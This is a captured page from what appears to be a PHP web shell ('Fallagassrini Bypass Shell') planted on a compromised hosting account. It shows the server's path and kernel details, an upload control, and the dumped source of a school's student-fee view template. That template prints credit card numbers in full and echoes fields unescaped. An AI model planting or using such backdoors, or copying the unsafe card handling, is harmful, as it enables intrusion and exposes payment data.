? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eldertree/application/views/home/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eldertree/application/views/home/student_fee_details.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
//$this->load->view('documentreadyfunctions');
?>

<script type="text/javascript">
    function close_modal()
    {
        $('#payment_vouchar_div').modal('hide');
    }
    $(document).ready(function(){
       $('.calfocus').datepick({dateFormat: 'dd-mm-yyyy'});
       $('#close_modal').click(function(){
           close_modal();
           return true;
           
       });
    });
    
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box yellow">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i></div>
                <div class="tools">
                    <a href="#" id="close_modal" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
               

                    <?php
                    $attributes = array('id'       => 'validateform', 'class'    => 'form-horizontal validate');
                    echo form_open('student/addinstudent/update_fee/view_fee_posted/1', $attributes);
                 
                    ?>
                    <h3 class="form-section"> Student Details </h3>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Student</label>
                                <div class="controls">
                                    <span class="text bold">    <?= $student_class_details->first_name ." ". $student_class_details->last_name ?>  </span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Student Reg No</label>
                                <div class="controls">
                                    <span class="text bold"> <?= $student_class_details->reg_no ?> </span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Gender</label>
                                <div class="controls" id="gender" >

                                    <span class="text bold">   <?= $student_class_details->gender ?> </span>
                                </div>
                            </div>
                        </div>
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Nationality</label>
                                <div class="controls"  id="nationality" >
                                    <span class="text bold">  <?php
                                    $nationality=$this->mastermodel->getSingleFieldValue('nationality', 'nationality_name', 'nationality_id', $student_class_details->nationality_id );
                                   
                                    echo $nationality; ?> </span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row-fluid">
                        <div class="span6 ">
                            <div class="control-group">
                                <label class="control-label">Class Name Code</label>
                                <div class="controls" >

                                    <span class="text bold">   <?= $student_class_details->class_name_code ?>  </span>
                                </div>
                            </div>
                             <input type="hidden" name="student_class_id" id="student_class_id"  value="<?= $viewinfo->student_class_id ?>"/>
                        </div>
                        </div>
                  
                 <h3 class="form-section">   Payment Details</h3>
                    <div class="row-fluid">
                        <div class="span6">

                            <div class="control-group">
                                <label class="control-label">Receipt No</label>
                                <div class="controls"><span class="text bold">
                                      <?= $viewinfo->fee_receipt_no ?> </span>
                                </div>
                            </div>
                        </div>
                        <div class="span6">
                            <div class="control-group">
                                <label class="control-label">Payment Date</label>
                                <div class="controls"><span class="text bold">
                                         <?= $this->mastermodel->convertdatenormalformat($viewinfo->fee_date) ?> </span>
                                </div>
                            </div>

                        </div>
                    </div>
                    
                    <div class="row-fluid">
                       
                        <div class="span6">
                            <div class="control-group">
                                <label class="control-label">Payment Mode</label>
                                <div class="controls"><span class="text bold">
                                        <?php
                    $payment_type = $this->mastermodel->getdatas('finance_payment_types', 'payment_type_id', 'asc');
                    foreach ($payment_type as $value) {

                        if ($viewinfo->payment_mode == $value['payment_type_id'])
                            echo $value["payment_type"];
                    }
                    ?></span>
                                </div>
                            </div>
                        </div>
                        <div class="span6">
                            <div class="control-group">
                                <label class="control-label">Remarks</label>
                                <div class="controls"><span class="text bold">
                                       <?= $viewinfo->remarks ?></span>
                                </div>
                            </div>

                        </div>
                    </div>
            

                 <div class="portlet box yellow" >

            <div class="portlet-title">
                <div class="caption"><i class="icon-check"></i>  Payment Details</div>
            </div>
            <div class="portlet-body" id='payment_mode_div'>
                <?php
        if ($viewinfo->payment_mode == 2) {
            $cheque = $this->mastermodel->get_data_srow('fee_cheque_info', $viewinfo->fee_id, 'fee_id');
            ?>
                           
                        <table class="table table-striped table-hover table-bordered">
                    <tr>
                        <th>Cheque Date</th>
                        <th>Cheque No</th>
                        <th>Cheque Info</th>
                    </tr>
                    <tr>
                        <td>
                            <?= $this->mastermodel->convertdatenormalformat($cheque->cheque_date) ?>
                        </td>
                        <td>
                            <?= $cheque->cheque_no ?>
                        </td>
                        <td>
                            <?= $cheque->bank_drawn ?>
                        </td> 
                    </tr>
                </table>
                   
                   <?php
        } else if ($viewinfo->payment_mode == 3) {
            $credit_card_info = $this->mastermodel->get_data_srow('fee_credit_card_info', $viewinfo->fee_id, 'fee_id');
            ?>
                          
                        <table class="table table-striped table-hover table-bordered">
                    <tr>
                        <th>Credit Card Holder Name</th>
                        <th>Credit Card No</th>
                    </tr>
                    <tr>
                        <td>
                            <?= $credit_card_info->credit_card_holder ?>
                        </td>
                        <td>
                            <?= $credit_card_info->credit_card_no ?>
                        </td>                
                    </tr>
                </table>
               <?php
        } else if ($viewinfo->payment_mode == 4) {
            $bank_transfer_info = $this->mastermodel->get_data_srow('fee_bank_transfer_info', $viewinfo->fee_id, 'fee_id');
            ?>
                <table class="table table-striped table-hover table-bordered">        
                    <tr>
                        <th>Description</th>  
                        <td>
                            <?= $bank_transfer_info->description ?>
                        </td>

                    </tr>
                </table>
                 
                    <?php
                }
                ?>
            </div>
        </div>
                 
                 <div class="portlet box yellow">
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-reorder"></i>Fee Details</div>

                        </div>
                          <div class="portlet-body">
                             
            <table class="table table-striped table-hover table-bordered" id="student_tb">
                <thead>
                <tr>
                        <th>Sl</th>
                        <th>Fee Particulars</th>
                        <th>Payment Period</th>
                        <th>Fee</th>
                        <th>Amount Paid</th>
                        <th>Balance Amount</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $fee_last_paid = array();
                    foreach ($fee_last_paid_details as $fee_list) {
                        $fee_last_paid[$fee_list['student_class_fee_id']][$fee_list['payment_for']] = $fee_list['amount_paid'];
                    }
                    $i = 1;
                    $academic_year_id = $this->mastermodel->get_single_field_value('academic_year', 'academic_year_id', 'academic_year_year', $academic_year);
                    $term_academic_details = $this->mastermodel->get_data_dual_srow('term_academic_details', $term, 'term_id', $academic_year_id, 'academic_year_id');

                    foreach ($student_fee_details as $fee_list) {
                        $paid = 0;
                        $student_class_id = $fee_list['student_class_id'];
                        $start = $term_academic_details->term_start_date;
                        $end = $term_academic_details->term_end_date;
                        $dt = $term_academic_details->term_start_date;
                        $student_class_fee_id = $fee_list['student_class_fee_id'];
                        $last_paid_amount = 0;                        
                        $monthly_fee_id = 0;
                        if (isset($student_monthly_fee_details[$fee_list['student_class_fee_id']])) {
                            $monthly_fee_id = $student_monthly_fee_details[$fee_list['student_class_fee_id']][0]['student_monthly_fee_id'];
                        }
                        if ($fee_list['payment_type'] == "monthly") {
                            $k = 0;
                            while (strtotime($dt) <= strtotime($end)) {
                                $payment_for = $dt;
                                $month = date('M', strtotime($dt));
                                $year = date('Y', strtotime($dt));
                                $month_amount = $this->studentmodel->get_student_monthly_wef_date($fee_list['student_class_id'], $dt);
                                $amount = 0;
                                if (isset($month_amount[$fee_list['student_class_fee_id']][0]['amount'])) {
                                    $amount = $month_amount[$fee_list['student_class_fee_id']][0]['amount'];
                                }
                                $last_paid_amount = 0;
                                if (isset($fee_last_paid[$student_class_fee_id][$dt]))
                                    $last_paid_amount = $fee_last_paid[$student_class_fee_id][$dt];
                                ?>
                                <tr> 
                                    <?php
                                    if ($k == 0) {
                                        ?>
                                        <td><?= $i ?></td>       
                                        <?php
                                    }
                                    if ($k > 0) {
                                        ?>
                                        <td></td>
                                        <?php
                                    }
                                    ?>
                                    <td><?= $fee_list['fee_particular_name'] ?></td>
                                    <td>
                                         <?= ($k == 0) ? 'Monthly<br/>' : "" ?>
                                        <?= date('F - Y', strtotime($dt)) ?>
                                    </td>
                                    <td>
                                        <?= $amount ?>
                                    </td>
                                    <td>
                                        <?php
                                        $amount_paid = 0;
                                        if (isset($student_fee_paid_details[$student_class_id][$student_class_fee_id][$payment_for])) {
                                            $paid = $student_fee_paid_details[$student_class_id][$student_class_fee_id][$payment_for];
                                            $amount_paid = $paid['amount_paid'];
                                        }
                                        ?>
                                        <?= $amount_paid ?>
                                    </td>
                                    <td>
                                        <?=$amount-$amount_paid ?>
                                    </td>
                                </tr>
                                <?php                              
                                $k++;
                                $dt = date('Y-m-01', strtotime("+1 months", strtotime($dt)));
                            }
                            $i++;
                        } else {
                            $amount = $fee_list['fee_amount'];
                            $amount_paid = 0;
                            if (isset($student_fee_paid_details[$student_class_id][$student_class_fee_id]['0000-00-00'])) {
                                $paid = $student_fee_paid_details[$student_class_id][$student_class_fee_id]['0000-00-00'];
                                $amount_paid = $paid['amount_paid'];
                            }
                            $last_paid_amount = 0;
                            if (isset($fee_last_paid[$student_class_fee_id]['0000-00-00']))
                                $last_paid_amount = $fee_last_paid[$student_class_fee_id]['0000-00-00'];
                            ?>
                            <tr>
                                <td><?= $i ?></td>  
                                <td><?= $fee_list['fee_particular_name'] ?></td>
                                <td><?= "Termwise" ?>                            
                                </td>
                                <td>                           
                                    <?= $amount ?>                            
                                </td>
                                <td>
                                    <?= $amount_paid ?>
                                </td>
                                <td>                           
                                    <?= $amount-$amount_paid ?>
                                </td>
                            </tr>
                            <?php
                            $i++;
                        }
                    }
                    ?>
                </tbody>

            </table>
                          </div>
                          </div>
        <?php echo form_close(); ?>
            </div>
               
        </div>
    </div>
</div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net